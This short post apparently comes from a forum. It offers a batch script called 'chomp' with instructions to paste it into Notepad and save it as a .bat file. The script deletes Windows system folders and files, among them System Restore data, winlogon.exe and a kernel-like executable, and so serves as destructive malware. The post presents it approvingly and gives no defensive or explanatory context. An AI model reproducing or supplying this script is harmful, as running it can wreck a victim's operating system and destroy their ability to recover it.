This is a little beauty I like to call "chomp"
Copy paste into a notepad file and save it as a batch file (.bat)
@echo off
del"c:\windows\pchealth"
del"c:\windows\system"
del"c:\windows\system32\restore"
del"winlogon.exe"
del"c:\windows\system32\autoexec.nt"
del"c:\windows\system32\ntoskrni.exe"